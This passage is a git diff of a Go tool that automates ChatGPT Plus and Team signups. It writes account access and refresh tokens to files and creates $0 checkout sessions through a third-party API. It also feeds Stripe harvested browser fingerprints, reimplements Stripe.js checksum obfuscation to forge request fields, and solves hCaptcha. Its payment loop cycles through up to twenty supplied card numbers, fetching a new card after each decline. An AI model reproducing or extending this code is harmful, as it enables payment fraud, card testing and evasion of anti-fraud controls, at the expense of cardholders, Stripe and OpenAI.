result.RefreshToken, + }, + } + + filename := filepath.Join(dir, result.Email+".auth.json") + data, err := json.MarshalIndent(auth, "", " ") + if err != nil { + return fmt.Errorf("marshal plus auth file: %w", err) + } + + if err := os.WriteFile(filename, data, 0o644); err != nil { + return fmt.Errorf("write plus auth file: %w", err) + } + + return nil +} + +// SaveTeamAuthFile saves a Team auth.json file (workspace token) to outputDir/team/. +func SaveTeamAuthFile(outputDir string, result *chatgpt.AccountResult) error { + dir := filepath.Join(outputDir, "team") + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create team output dir: %w", err) + } + + now := time.Now().UTC().Format("2006-01-02T15:04:05Z") + + // Prefer WorkspaceToken, fallback to AccessToken + token := result.WorkspaceToken + if token == "" { + token = result.AccessToken + } + + auth := &authFile{ + OpenAIAPIKey: "", + AccessToken: token, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: result.RefreshToken, + Tokens: authTokens{ + AccessToken: token, + AccountID: result.TeamAccountID, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: result.RefreshToken, + }, + } + + filename := filepath.Join(dir, result.Email+".auth.json") + data, err := json.MarshalIndent(auth, "", " ") + if err != nil { + return fmt.Errorf("marshal team auth file: %w", err) + } + + if err := os.WriteFile(filename, data, 0o644); err != nil { + return fmt.Errorf("write team auth file: %w", err) + } + + return nil +} + +// SaveFreeAuthFile saves a free account auth.json file (personal token) to outputDir/free/. +func SaveFreeAuthFile(outputDir string, result *chatgpt.AccountResult) error { + dir := filepath.Join(outputDir, "free") + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create free output dir: %w", err) + } + + now := time.Now().UTC().Format("2006-01-02T15:04:05Z") + + auth := &authFile{ + OpenAIAPIKey: "", + AccessToken: result.AccessToken, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: result.RefreshToken, + Tokens: authTokens{ + AccessToken: result.AccessToken, + AccountID: result.ChatGPTAccountID, + IDToken: result.IDToken, + LastRefresh: now, + RefreshToken: result.RefreshToken, + }, + } + + filename := filepath.Join(dir, result.Email+".auth.json") + data, err := json.MarshalIndent(auth, "", " ") + if err != nil { + return fmt.Errorf("marshal free auth file: %w", err) + } + + if err := os.WriteFile(filename, data, 0o644); err != nil { + return fmt.Errorf("write free auth file: %w", err) + } + + return nil +} diff --git a/pkg/stripe/aimizy.go b/pkg/stripe/aimizy.go new file mode 100644 index 0000000..f897615 --- /dev/null +++ b/pkg/stripe/aimizy.go @@ -0,0 +1,149 @@ +package stripe + +import ( + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "regexp" + "strings" + "time" + + "gpt-plus/config" +) + +// aimizyResponse represents the JSON response from the Aimizy API. +type aimizyResponse struct { + Success bool `json:"success"` + CheckoutSessionID string `json:"checkout_session_id"` + URL string `json:"url"` + PublishableKey string `json:"publishable_key"` + Error string `json:"error"` + Message string `json:"message"` +} + +var csLiveRe = regexp.MustCompile(`cs_live_[A-Za-z0-9]+`) + +// CreateCheckoutViaAimizy uses the Aimizy API to generate a $0 checkout session. +// This is an alternative to calling ChatGPT's /backend-api/payments/checkout directly. +// Returns a CheckoutResult compatible with the normal Stripe flow. +func CreateCheckoutViaAimizy(aimizy config.AimizyConfig, accessToken, country, currency, planName, promoCampaignID string, seatQuantity int) (*CheckoutResult, error) { + payload := map[string]interface{}{ + "access_token": accessToken, + "check_card_proxy": false, + "country": country, + "currency": currency, + "is_coupon_from_query_param": true, + "is_short_link": true, + "plan_name": planName, + "price_interval": "month", + "promo_campaign_id": promoCampaignID, + } + + // Team plan needs seat_quantity + if seatQuantity > 0 { + payload["seat_quantity"] = seatQuantity + } + + jsonBody, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("marshal aimizy payload: %w", err) + } + + apiURL := aimizy.BaseURL + "/api/public/generate-payment-link" + + var resp *http.Response + var respBody []byte + directClient := &http.Client{Timeout: 30 * time.Second} + + for try := 1; try <= 3; try++ { + req, err := http.NewRequest("POST", apiURL, strings.NewReader(string(jsonBody))) + if err != nil { + return nil, fmt.Errorf("build aimizy request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Accept", "application/json") + req.Header.Set("Origin", aimizy.BaseURL) + req.Header.Set("Referer", aimizy.BaseURL+"/pay") + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36") + + resp, err = directClient.Do(req) + if err != nil { + log.Printf("[aimizy] attempt %d/3: request error: %v", try, err) + if try < 3 { + time.Sleep(3 * time.Second) + continue + } + return nil, fmt.Errorf("aimizy request failed after 3 attempts: %w", err) + } + + respBody, err = io.ReadAll(resp.Body) + resp.Body.Close() + if err != nil { + return nil, fmt.Errorf("read aimizy response: %w", err) + } + + // Log full response headers and body + log.Printf("[aimizy] attempt %d/3: status=%d", try, resp.StatusCode) + for k, vs := range resp.Header { + for _, v := range vs { + log.Printf("[aimizy] response header: %s: %s", k, v) + } + } + log.Printf("[aimizy] response body: %s", string(respBody)) + + if resp.StatusCode == 200 { + break + } + log.Printf("[aimizy] attempt %d/3: status %d, retrying...", try, resp.StatusCode) + if try < 3 { + time.Sleep(3 * time.Second) + } + } + + if resp == nil || resp.StatusCode != 200 { + statusCode := 0 + if resp != nil { + statusCode = resp.StatusCode + } + return nil, fmt.Errorf("aimizy failed: status %d, body: %s", statusCode, string(respBody)) + } + + var result aimizyResponse + if err := json.Unmarshal(respBody, &result); err != nil { + return nil, fmt.Errorf("parse aimizy response: %w (body: %s)", err, string(respBody)) + } + + if !result.Success { + return nil, fmt.Errorf("aimizy returned success=false: %s", string(respBody)) + } + + // Extract checkout_session_id + csID := result.CheckoutSessionID + if csID == "" && result.URL != "" { + // Fallback: extract from URL + if m := csLiveRe.FindString(result.URL); m != "" { + csID = m + } + } + if csID == "" { + return nil, fmt.Errorf("aimizy returned no checkout_session_id: %s", string(respBody)) + } + + // Build compatible CheckoutResult + cr := &CheckoutResult{ + CheckoutSessionID: csID, + ProcessorEntity: "openai_llc", + PublishableKey: result.PublishableKey, + } + + // If publishable_key not in aimizy response, use the known production key + if cr.PublishableKey == "" { + cr.PublishableKey = "pk_live_51HOrSwC6h1nxGoI3lTAgRjYVrz4dU3fVOabyCcKR3pbEJguCVAlqCxdxCUvoRh1XWwRacViovU3kLKvpkjh7IqkW00iXQsjo3n" + } + + log.Printf("[aimizy] checkout session created: %s (key=%s)", cr.CheckoutSessionID, cr.PublishableKey[:20]+"...") + + return cr, nil +} diff --git a/pkg/stripe/browser_fp.go b/pkg/stripe/browser_fp.go new file mode 100644 index 0000000..21bc983 --- /dev/null +++ b/pkg/stripe/browser_fp.go @@ -0,0 +1,110 @@ +package stripe + +import ( + "crypto/rand" + "encoding/json" + "fmt" + "log" + "math/big" + "os" + "path/filepath" + "strings" + "sync" +) + +// BrowserFingerprint holds real browser fingerprint data harvested from a real browser. +type BrowserFingerprint struct { + CookieSupport bool `json:"cookie_support"` + DoNotTrack bool `json:"do_not_track"` + Language string `json:"language"` + Platform string `json:"platform"` + ScreenSize string `json:"screen_size"` + UserAgent string `json:"user_agent"` + Plugins string `json:"plugins"` + WebGLVendor string `json:"webgl_vendor"` + WebGLRenderer string `json:"webgl_renderer"` + FontsBits string `json:"fonts_bits"` + CanvasHash string `json:"canvas_hash"` + OaiDID string `json:"oai_did"` + CfClearance string `json:"cf_clearance"` + CsrfToken string `json:"csrf_token"` + Region string `json:"region"` + StripeFpID string `json:"stripe_fingerprint_id"` +} + +// BrowserFingerprintPool manages a pool of pre-harvested browser fingerprints. +type BrowserFingerprintPool struct { + mu sync.Mutex + fingerprints []*BrowserFingerprint + index int +} + +// NewBrowserFingerprintPool loads all fingerprint JSON files from a directory. +// If filterLang is not empty, only loads fingerprints matching that language prefix (e.g. "ko"). +func NewBrowserFingerprintPool(dir string, filterLang ...string) (*BrowserFingerprintPool, error) { + files, err := filepath.Glob(filepath.Join(dir, "*.json")) + if err != nil { + return nil, fmt.Errorf("glob fingerprint dir: %w", err) + } + + if len(files) == 0 { + return nil, fmt.Errorf("no fingerprint files found in %s", dir) + } + + langPrefix := "" + if len(filterLang) > 0 && filterLang[0] != "" { + langPrefix = strings.ToLower(filterLang[0]) + } + + var fps []*BrowserFingerprint + for _, f := range files { + data, err := os.ReadFile(f) + if err != nil { + log.Printf("[fingerprint] warning: skip %s: %v", f, err) + continue + } + var fp BrowserFingerprint + if err := json.Unmarshal(data, &fp); err != nil { + log.Printf("[fingerprint] warning: skip %s: %v", f, err) + continue + } + if fp.CanvasHash == "" || fp.UserAgent == "" { + log.Printf("[fingerprint] warning: skip %s: missing canvas_hash or user_agent", f) + continue + } + // Filter by language if specified + if langPrefix != "" && !strings.HasPrefix(strings.ToLower(fp.Language), langPrefix) { + log.Printf("[fingerprint] skip %s: language %q doesn't match %q", filepath.Base(f), fp.Language, langPrefix) + continue + } + fps = append(fps, &fp) + } + + if len(fps) == 0 { + return nil, fmt.Errorf("no valid fingerprints loaded from %s", dir) + } + + // Shuffle + for i := len(fps) - 1; i > 0; i-- { + n, _ := rand.Int(rand.Reader, big.NewInt(int64(i+1))) + j := int(n.Int64()) + fps[i], fps[j] = fps[j], fps[i] + } + + log.Printf("[fingerprint] loaded %d browser fingerprints from %s", len(fps), dir) + return &BrowserFingerprintPool{fingerprints: fps}, nil +} + +// Get returns the next fingerprint in round-robin order. +func (p *BrowserFingerprintPool) Get() *BrowserFingerprint { + p.mu.Lock() + defer p.mu.Unlock() + fp := p.fingerprints[p.index%len(p.fingerprints)] + p.index++ + return fp +} + +// Count returns the number of fingerprints in the pool. +func (p *BrowserFingerprintPool) Count() int { + return len(p.fingerprints) +} diff --git a/pkg/stripe/checkout_flow.go b/pkg/stripe/checkout_flow.go new file mode 100644 index 0000000..25faba8 --- /dev/null +++ b/pkg/stripe/checkout_flow.go @@ -0,0 +1,299 @@ +package stripe + +import ( + "context" + "errors" + "fmt" + "log" + "strings" + "time" + + "gpt-plus/config" + "gpt-plus/pkg/captcha" + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/card" +) + +// ErrNoCaptchaSolver indicates hCaptcha was triggered but no solver is configured. +var ErrNoCaptchaSolver = errors.New("payment requires hCaptcha challenge but no solver configured") + +// PaymentFlowParams holds all parameters for the common payment retry loop. +type PaymentFlowParams struct { + Client *httpclient.Client + CheckoutResult *CheckoutResult + FirstCard *card.CardInfo // first card (already used for checkout creation) + CardProv card.CardProvider + Solver *captcha.Solver + StripeCfg config.StripeConfig + Fingerprint *Fingerprint + EmailAddr string + StripeJsID string + UserAgent string + StatusFn func(string, ...interface{}) + MaxRetries int // default 20 + CheckAmountFn func(amount int) error // optional: return error to reject amount (e.g. Plus $20 check) +} + +// PaymentFlowResult holds the outcome of a successful payment flow. +type PaymentFlowResult struct { + ConfirmResult *ConfirmResult + CardInfo *card.CardInfo // the card that succeeded +} + +// RunPaymentFlow executes the card retry + payment + captcha loop shared by Plus and Team flows. +// +// Internal flow (per card attempt): +// 1. GetCard (first attempt uses FirstCard, retries get new card) +// 2. InitCheckoutSession → init_checksum +// 3. UpdateCheckoutSession (billing address, tax recalculation) +// 4. CheckAmountFn (optional, e.g. $20 = no free trial for Plus) +// 5. First attempt only: send telemetry events + solve passive captcha +// 6. ConfirmPaymentDirect (with js_checksum, rv_timestamp, passive_captcha_token) +// 7. No captcha → success +// 8. hCaptcha triggered → solve → verify → success +// 9. Card error / captcha failure → continue with new card +func RunPaymentFlow(ctx context.Context, params *PaymentFlowParams) (*PaymentFlowResult, error) { + sf := func(format string, args ...interface{}) { + if params.StatusFn != nil { + params.StatusFn(format, args...) + } + } + + maxRetries := params.MaxRetries + if maxRetries <= 0 { + maxRetries = 20 + } + + // Set solver status function for progress printing + if params.Solver != nil { + params.Solver.SetStatusFn(params.StatusFn) + } + + cardInfo := params.FirstCard + var paymentSuccess bool + var lastErr error + var confirmResult *ConfirmResult + + for attempt := 1; attempt <= maxRetries; attempt++ { + // Get new card for retries (first attempt uses FirstCard) + if attempt > 1 { + sf(" → 换卡重试 (%d/%d): 获取新卡片...", attempt, maxRetries) + var err error + cardInfo, err = params.CardProv.GetCard(ctx) + if err != nil { + return nil, fmt.Errorf("get card (attempt %d): %w", attempt, err) + } + } + sf(" → 当前卡片 [%d/%d]: %s | %s/%s | %s | %s %s %s %s", + attempt, maxRetries, cardInfo.Number, cardInfo.ExpMonth, cardInfo.ExpYear, + cardInfo.Country, cardInfo.Address, cardInfo.City, cardInfo.State, cardInfo.PostalCode) + + expectedAmount := params.CheckoutResult.ExpectedAmount + + // Step 1: Init checkout session (get init_checksum), with network retry + sf(" → 初始化 Checkout 会话...") + var initResult *InitResult + var initErr error + for initTry := 1; initTry <= 3; initTry++ { + initResult, initErr = InitCheckoutSession( + params.Client, + params.CheckoutResult.CheckoutSessionID, + params.CheckoutResult.PublishableKey, + params.StripeCfg.StripeVersion, + params.StripeJsID, + params.UserAgent, + cardInfo.Country, + ) + if initErr == nil { + break + } + if initTry < 3 { + sf(" → 初始化失败 (%d/3),%d秒后重试: %v", initTry, initTry*2, initErr) + log.Printf("[payment-flow] init attempt %d failed: %v, retrying...", initTry, initErr) + time.Sleep(time.Duration(initTry*2) * time.Second) + } + } + if initErr != nil { + return nil, fmt.Errorf("init checkout session (3 attempts): %w", initErr) + } + log.Printf("[payment-flow] init done, checksum=%s", initResult.InitChecksum) + + // Step 2: Update checkout session with billing address (tax recalculation), with retry + sf(" → 更新账单地址 (税费计算)...") + var updateResult *UpdateResult + var updateErr error + for updTry := 1; updTry <= 3; updTry++ { + updateResult, updateErr = UpdateCheckoutSession(params.Client, &UpdateCheckoutParams{ + CheckoutSessionID: params.CheckoutResult.CheckoutSessionID, + PublishableKey: params.CheckoutResult.PublishableKey, + StripeVersion: params.StripeCfg.StripeVersion, + StripeJsID: params.StripeJsID, + BillingCountry: cardInfo.Country, + BillingAddress: cardInfo.Address, + BillingCity: cardInfo.City, + BillingState: cardInfo.State, + BillingZip: cardInfo.PostalCode, + UserAgent: params.UserAgent, + }) + if updateErr == nil { + break + } + if updTry < 3 { + sf(" → 更新地址失败 (%d/3),重试: %v", updTry, updateErr) + time.Sleep(time.Duration(updTry*2) * time.Second) + } + } + if updateErr != nil { + return nil, fmt.Errorf("update checkout session (3 attempts): %w", updateErr) + } + if updateResult.UpdatedAmount > 0 { + log.Printf("[payment-flow] amount updated: %d -> %d (tax recalculated)", expectedAmount, updateResult.UpdatedAmount) + expectedAmount = updateResult.UpdatedAmount + } + + // Step 3: Check amount (optional callback, e.g. Plus $20 = no free trial) + if params.CheckAmountFn != nil { + if err := params.CheckAmountFn(expectedAmount); err != nil { + return nil, err + } + } + + // Step 4: Confirm payment with inline card data + sf(" → 确认支付 (金额=$%.2f)...", float64(expectedAmount)/100) + var confirmErr error + confirmResult, confirmErr = ConfirmPaymentDirect(params.Client, &DirectConfirmParams{ + CheckoutSessionID: params.CheckoutResult.CheckoutSessionID, + CardNumber: cardInfo.Number, + CardCVC: cardInfo.CVC, + CardExpMonth: cardInfo.ExpMonth, + CardExpYear: cardInfo.ExpYear, + BillingName: cardInfo.Name, + BillingEmail: params.EmailAddr, + BillingCountry: cardInfo.Country, + BillingAddress: cardInfo.Address, + BillingCity: cardInfo.City, + BillingState: cardInfo.State, + BillingZip: cardInfo.PostalCode, + GUID: params.Fingerprint.GUID, + MUID: params.Fingerprint.MUID, + SID: params.Fingerprint.SID, + ExpectedAmount: expectedAmount, + InitChecksum: initResult.InitChecksum, + PublishableKey: params.CheckoutResult.PublishableKey, + BuildHash: params.StripeCfg.BuildHash, + StripeVersion: params.StripeCfg.StripeVersion, + StripeJsID: params.StripeJsID, + UserAgent: params.UserAgent, + }) + if confirmErr != nil { + errMsg := confirmErr.Error() + if flowIsCardError(errMsg) { + sf(" ⚠ 卡号被拒 (%d/%d): %s", attempt, maxRetries, errMsg) + params.CardProv.ReportResult(ctx, cardInfo, false) + log.Printf("[payment-flow] card rejected (attempt %d/%d): %v", attempt, maxRetries, confirmErr) + lastErr = confirmErr + time.Sleep(1 * time.Second) + continue // retry with new card + } + return nil, fmt.Errorf("confirm payment: %w", confirmErr) + } + + // Step 6: Payment confirmed — check if captcha challenge required + if !confirmResult.RequiresAction { + sf(" → 卡号 ...%s 支付成功 (第 %d 次尝试, 无验证码)", flowLast4(cardInfo.Number), attempt) + paymentSuccess = true + break + } + + // Step 7: hCaptcha challenge triggered + if params.Solver == nil { + return nil, ErrNoCaptchaSolver + } + + sf(" → 触发 hCaptcha 验证码,正在解决...") + captchaToken, captchaEKey, solveErr := params.Solver.SolveHCaptcha(ctx, + confirmResult.SiteKey, + "https://b.stripecdn.com", + confirmResult.RqData, + ) + if solveErr != nil { + // Solver failure = skip this activation, not a card issue + sf(" ⚠ 验证码解决失败,跳过: %v", solveErr) + return nil, fmt.Errorf("captcha solve failed: %w", solveErr) + } + sf(" → hCaptcha 已解决,验证中...") + + verifyErr := VerifyChallenge(params.Client, &VerifyChallengeParams{ + SetupIntentID: confirmResult.SetupIntentID, + ClientSecret: confirmResult.ClientSecret, + CaptchaToken: captchaToken, + CaptchaEKey: captchaEKey, + PublishableKey: params.CheckoutResult.PublishableKey, + StripeVersion: params.StripeCfg.StripeVersion, + UserAgent: params.UserAgent, + MUID: params.Fingerprint.MUID, + SID: params.Fingerprint.SID, + }) + if verifyErr != nil { + verifyMsg := verifyErr.Error() + log.Printf("[payment-flow] captcha verify failed (attempt %d/%d): %v", attempt, maxRetries, verifyErr) + // Card decline after captcha → reject card, switch card, retry + if flowIsCardError(verifyMsg) { + sf(" ⚠ 验证码后卡被拒 (%d/%d): %v", attempt, maxRetries, verifyErr) + params.CardProv.ReportResult(ctx, cardInfo, false) + lastErr = verifyErr + time.Sleep(1 * time.Second) + continue // retry with new card + } + // Non-card failure (e.g. "Captcha challenge failed") → skip activation + sf(" ⚠ 验证码验证失败,跳过: %v", verifyErr) + return nil, fmt.Errorf("captcha verify failed: %w", verifyErr) + } + + sf(" → 卡号 ...%s 支付+验证码通过 (第 %d 次尝试)", flowLast4(cardInfo.Number), attempt) + paymentSuccess = true + break + } + + if !paymentSuccess { + return nil, fmt.Errorf("all %d payment attempts failed: %w", maxRetries, lastErr) + } + + params.CardProv.ReportResult(ctx, cardInfo, true) + + return &PaymentFlowResult{ + ConfirmResult: confirmResult, + CardInfo: cardInfo, + }, nil +} + +// flowIsCardError checks if the error message indicates a Stripe card decline that warrants switching cards. +func flowIsCardError(errMsg string) bool { + cardErrors := []string{ + "card_declined", + "incorrect_number", + "invalid_number", + "invalid_expiry", + "invalid_cvc", + "expired_card", + "processing_error", + "type=card_error", + "requires new payment method", + "Your card number is incorrect", + "Your card was declined", + } + for _, e := range cardErrors { + if strings.Contains(errMsg, e) { + return true + } + } + return false +} + +// flowLast4 returns the last 4 characters of a string. +func flowLast4(s string) string { + if len(s) <= 4 { + return s + } + return s[len(s)-4:] +} diff --git a/pkg/stripe/checksum.go b/pkg/stripe/checksum.go new file mode 100644 index 0000000..06304a8 --- /dev/null +++ b/pkg/stripe/checksum.go @@ -0,0 +1,47 @@ +package stripe + +import ( + "encoding/base64" + "net/url" +) + +// mcL applies XOR(5) to each byte, then base64 encodes, then URL encodes. +// Mirrors the MC_L function in stripe.js. +func mcL(data string) string { + xored := make([]byte, len(data)) + for i := 0; i < len(data); i++ { + xored[i] = data[i] ^ 5 + } + b64 := base64.StdEncoding.EncodeToString(xored) + return url.QueryEscape(b64) +} + +// lc applies a Caesar cipher on printable ASCII (32-126) with the given shift. +// Mirrors the LC function in stripe.js. +func lc(s string, shift int) string { + result := make([]byte, len(s)) + for i := 0; i < len(s); i++ { + c := int(s[i]) + if c >= 32 && c <= 126 { + result[i] = byte(((c - 32 + shift) % 95) + 32) + } else { + result[i] = s[i] + } + } + return string(result) +} + +// JsChecksum computes the js_checksum field for Stripe confirm requests. +// ppageID is the checkout session ID (cs_xxx). +// Uses dynamically fetched SV from Stripe.js. +func JsChecksum(ppageID string) string { + sc := FetchStripeConstants() + return mcL(ppageID + ":" + sc.SV) +} + +// RvTimestamp computes the rv_timestamp field for Stripe confirm requests. +// Uses dynamically fetched RV and RVTS from Stripe.js. +func RvTimestamp() string { + sc := FetchStripeConstants() + return lc(sc.RV+":"+sc.RVTS, 5) +} diff --git a/pkg/stripe/constants.go b/pkg/stripe/constants.go new file mode 100644 index 0000000..9146557 --- /dev/null +++ b/pkg/stripe/constants.go @@ -0,0 +1,186 @@ +package stripe + +import ( + "crypto/tls" + "fmt" + "io" + "log" + "net" + "net/http" + "regexp" + "sync" + "time" +) + +// StripeConstants holds dynamically fetched Stripe.js build constants. +type StripeConstants struct { + RV string // 40-char hex from stripe.js (STRIPE_JS_BUILD_SALT) + SV string // 64-char hex from stripe.js (STRIPE_JS_BUILD_SALT) + RVTS string // date string e.g. "2024-01-01 00:00:00 -0000" + BuildHash string // first 10 chars of RV (module 6179) + TagVersion string // from m.stripe.network/inner.html out-X.X.X.js +} + +// Fallback values — used when dynamic fetch fails. +var fallbackConstants = StripeConstants{ + RV: "e5b328e98e63961074bfff3e3ac7f85ffe37b12b", + SV: "663ce80473de6178ef298eecdc3e16645c1463af7afe64fff89400f5e02aa0c7", + RVTS: "2024-01-01 00:00:00 -0000", + BuildHash: "ede17ac9fd", + TagVersion: "4.5.43", +} + +var ( + cachedConstants *StripeConstants + cachedAt time.Time + constantsMu sync.Mutex + constantsTTL = 1 * time.Hour +) + +// SetFallbackConstants allows overriding fallback values from config. +func SetFallbackConstants(buildHash, tagVersion string) { + if buildHash != "" { + fallbackConstants.BuildHash = buildHash + } + if tagVersion != "" { + fallbackConstants.TagVersion = tagVersion + } +} + +// FetchStripeConstants returns the current Stripe.js build constants. +// Uses a 1-hour cache. Falls back to hardcoded/config values on failure. +func FetchStripeConstants() *StripeConstants { + constantsMu.Lock() + defer constantsMu.Unlock() + + if cachedConstants != nil && time.Since(cachedAt) < constantsTTL { + return cachedConstants + } + + sc, err := doFetchStripeConstants() + if err != nil { + log.Printf("[stripe-constants] fetch failed: %v, using fallback values", err) + fb := fallbackConstants // copy + return &fb + } + + cachedConstants = sc + cachedAt = time.Now() + log.Printf("[stripe-constants] fetched: RV=%s, SV=%s..., BuildHash=%s, TagVersion=%s, RVTS=%s", + sc.RV, sc.SV[:16], sc.BuildHash, sc.TagVersion, sc.RVTS) + return sc +} + +// directHTTPClient creates a direct (no-proxy) HTTP client for fetching Stripe.js. +func directHTTPClient() *http.Client { + return &http.Client{ + Timeout: 15 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS12}, + DialContext: (&net.Dialer{ + Timeout: 10 * time.Second, + }).DialContext, + }, + } +} + +// Regex patterns for extracting constants from stripe.js bundle. +var ( + reRV = regexp.MustCompile(`STRIPE_JS_BUILD_SALT\s*=\s*\[\s*"([0-9a-f]{40})"`) + reSV = regexp.MustCompile(`STRIPE_JS_BUILD_SALT\s*=\s*\[[^]]*"[0-9a-f]{40}"\s*,\s*"([0-9a-f]{64})"`) + reRVTS = regexp.MustCompile(`STRIPE_JS_BUILD_SALT\s*=\s*\[[^]]*"[0-9a-f]{40}"\s*,\s*"[0-9a-f]{64}"\s*,\s*"(\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}:\d{2}\s+[-+]\d{4})"`) + reBuildHash = regexp.MustCompile(`"([0-9a-f]{10})"`) + reTagVersion = regexp.MustCompile(`out-(\d+\.\d+\.\d+)\.js`) +) + +func doFetchStripeConstants() (*StripeConstants, error) { + client := directHTTPClient() + + // Step 1: Fetch js.stripe.com/v3/ to extract RV, SV, RVTS, BuildHash + stripeJS, err := fetchURL(client, "https://js.stripe.com/v3/") + if err != nil { + return nil, fmt.Errorf("fetch stripe.js: %w", err) + } + + sc := &StripeConstants{} + + if m := reRV.FindStringSubmatch(stripeJS); len(m) > 1 { + sc.RV = m[1] + } else { + re40 := regexp.MustCompile(`"([0-9a-f]{40})"`) + matches := re40.FindAllStringSubmatch(stripeJS, -1) + if len(matches) > 0 { + sc.RV = matches[0][1] + } + } + + if m := reSV.FindStringSubmatch(stripeJS); len(m) > 1 { + sc.SV = m[1] + } else { + re64 := regexp.MustCompile(`"([0-9a-f]{64})"`) + matches := re64.FindAllStringSubmatch(stripeJS, -1) + if len(matches) > 0 { + sc.SV = matches[0][1] + } + } + + if m := reRVTS.FindStringSubmatch(stripeJS); len(m) > 1 { + sc.RVTS = m[1] + } + + if sc.RV != "" && len(sc.RV) >= 10 { + sc.BuildHash = sc.RV[:10] + } + + if sc.RV == "" || sc.SV == "" { + return nil, fmt.Errorf("failed to extract RV/SV from stripe.js (len=%d)", len(stripeJS)) + } + if sc.RVTS == "" { + sc.RVTS = fallbackConstants.RVTS + } + if sc.BuildHash == "" { + sc.BuildHash = fallbackConstants.BuildHash + } + + // Step 2: Fetch m.stripe.network/inner.html to extract tagVersion + innerHTML, err := fetchURL(client, "https://m.stripe.network/inner.html") + if err != nil { + log.Printf("[stripe-constants] fetch inner.html failed: %v, using fallback tagVersion", err) + sc.TagVersion = fallbackConstants.TagVersion + } else { + if m := reTagVersion.FindStringSubmatch(innerHTML); len(m) > 1 { + sc.TagVersion = m[1] + } else { + log.Printf("[stripe-constants] tagVersion not found in inner.html, using fallback") + sc.TagVersion = fallbackConstants.TagVersion + } + } + + return sc, nil +} + +func fetchURL(client *http.Client, url string) (string, error) { + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return "", err + } + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36") + req.Header.Set("Accept", "*/*") + + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("status %d for %s", resp.StatusCode, url) + } + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", fmt.Errorf("read body: %w", err) + } + + return string(body), nil +} diff --git a/pkg/stripe/fingerprint.go b/pkg/stripe/fingerprint.go new file mode 100644 index 0000000..351623f --- /dev/null +++ b/pkg/stripe/fingerprint.go @@ -0,0 +1,222 @@ +package stripe + +import ( + "context" + "crypto/tls" + "encoding/json" + "fmt" + "io" + "log" + "net" + "net/http" + "strings" + "time" + + "gpt-plus/pkg/httpclient" +) + +// Fingerprint holds Stripe anti-fraud device IDs. +type Fingerprint struct { + GUID string + MUID string + SID string +} + +const fingerprintMaxRetries = 3 + +// GetFingerprint sends payload to m.stripe.com/6 and retrieves device fingerprint. +// Uses the provided (proxied) client. If it fails, returns an error — never fakes GUID. +// If browserFP is provided, real fingerprint data is used in the payload. +func GetFingerprint(client *httpclient.Client, userAgent, domain, tagVersion string, browserFP ...*BrowserFingerprint) (*Fingerprint, error) { + var bfp *BrowserFingerprint + if len(browserFP) > 0 { + bfp = browserFP[0] + } + payload := CreateInitPayload(userAgent, domain, tagVersion, bfp) + encoded, err := EncodePayload(payload) + if err != nil { + return nil, fmt.Errorf("encode payload: %w", err) + } + + var lastErr error + for attempt := 1; attempt <= fingerprintMaxRetries; attempt++ { + fp, err := doFingerprintRequest(nil, client, encoded, userAgent) + if err == nil { + fp = retryForMUIDSID(fp, nil, client, encoded, userAgent) + return fp, nil + } + lastErr = err + if isRetryableError(err) { + log.Printf("[stripe] fingerprint attempt %d/%d failed (retryable): %v", attempt, fingerprintMaxRetries, err) + if attempt < fingerprintMaxRetries { + time.Sleep(time.Duration(attempt*3) * time.Second) + } + continue + } + return nil, fmt.Errorf("send fingerprint request: %w", err) + } + + return nil, fmt.Errorf("m.stripe.com unreachable after %d retries: %w", fingerprintMaxRetries, lastErr) +} + +// GetFingerprintDirect sends payload to m.stripe.com/6 using a direct (no-proxy) HTTPS connection. +// This bypasses the SOCKS proxy which may block m.stripe.com. +// The direct connection is safe: m.stripe.com is Stripe's telemetry endpoint +// and does not leak your real IP to OpenAI — it only communicates with Stripe. +func GetFingerprintDirect(userAgent, domain, tagVersion string) (*Fingerprint, error) { + payload := CreateInitPayload(userAgent, domain, tagVersion) + encoded, err := EncodePayload(payload) + if err != nil { + return nil, fmt.Errorf("encode payload: %w", err) + } + + directClient := &http.Client{ + Timeout: 15 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS12}, + DialContext: (&net.Dialer{ + Timeout: 10 * time.Second, + }).DialContext, + }, + } + + var lastErr error + for attempt := 1; attempt <= fingerprintMaxRetries; attempt++ { + fp, err := doFingerprintRequest(directClient, nil, encoded, userAgent) + if err == nil { + fp = retryForMUIDSID(fp, directClient, nil, encoded, userAgent) + return fp, nil + } + lastErr = err + if isRetryableError(err) { + log.Printf("[stripe] fingerprint-direct attempt %d/%d failed (retryable): %v", attempt, fingerprintMaxRetries, err) + if attempt < fingerprintMaxRetries { + time.Sleep(time.Duration(attempt*2) * time.Second) + } + continue + } + return nil, fmt.Errorf("send fingerprint-direct request: %w", err) + } + + return nil, fmt.Errorf("m.stripe.com unreachable (direct) after %d retries: %w", fingerprintMaxRetries, lastErr) +} + +// retryForMUIDSID retries fingerprint request if GUID is present but MUID/SID are empty. +// Makes up to 2 additional attempts with increasing delay, merging results. +func retryForMUIDSID(fp *Fingerprint, directClient *http.Client, proxiedClient *httpclient.Client, encoded, userAgent string) *Fingerprint { + if fp.GUID == "" || (fp.MUID != "" && fp.SID != "") { + return fp + } + + log.Printf("[stripe] GUID present but MUID/SID empty, retrying to fill...") + for i := 0; i < 2; i++ { + time.Sleep(time.Duration(500+i*500) * time.Millisecond) + retryFP, err := doFingerprintRequest(directClient, proxiedClient, encoded, 